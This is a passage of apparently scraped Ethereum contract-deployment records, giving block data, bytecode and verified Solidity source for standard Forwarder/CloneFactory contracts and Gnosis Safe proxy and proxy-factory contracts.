permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,415 |
ba975d6c182d73bccdd906228454ef9f80ed8c0bffcd81c52a1a32b28a14c280
|
1a3ef9f13515a47daa0a081b9ebcb8dd9aea8f86740aa658127b08f3e2ec0fa6
|
c212a0fb6b947d61d65d095dd216f4b418375e78
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
05769109fd2cf164771ad0e1ff5a35692f76dd5d
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,497,417 |
d14b2bca60997f8951b8da95545634330245c8370dfaefcecce5de7699ab2fdb
|
00dec2c8b21fec66a31856d178a2456ed2736ce52c00c2fa9e3f5bd90b1f9430
|
d2c82f2e5fa236e114a81173e375a73664610998
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
5ff9345beb197ffabcb67d0949ddac5a4dbe51fa
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,417 |
d14b2bca60997f8951b8da95545634330245c8370dfaefcecce5de7699ab2fdb
|
752207dbcaab1696c17128a429fdc1d01a4875e2ed110aa22490ba304606c3ca
|
32b56fc48684fa085df8c4cd2feaafc25c304db9
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
df9d66cf268d491f47726bbd2fae7e37ac0b7f3e
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,425 |
10ac6857e1bdc45269b5550cc89c97570e0bdd4ae192a6ba96374e8a13e2b3df
|
1722d7a18b3d2c2afaa561860d1bc7894ffcf6f5298dcb69e091f01d6a961a19
|
bdd338e0238c1b4e2e09566157a13595568755d2
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
33319900f62a8e1ffbea103b6ebf489bc265fc17
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
